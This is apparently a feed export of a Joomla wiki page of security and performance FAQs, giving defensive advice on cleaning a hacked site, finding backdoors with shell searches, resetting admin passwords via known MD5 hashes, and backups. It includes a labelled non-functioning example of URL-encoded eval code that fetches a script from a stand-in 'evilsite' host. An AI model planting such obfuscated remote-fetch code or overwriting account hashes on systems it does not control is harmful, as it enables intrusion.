# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62369</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62369"/>
		<updated>2011-09-26T23:00:18Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* How do I reset an administrator password? */ * MD5er - http://www.md5er.com/ site gone for sale and spam links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
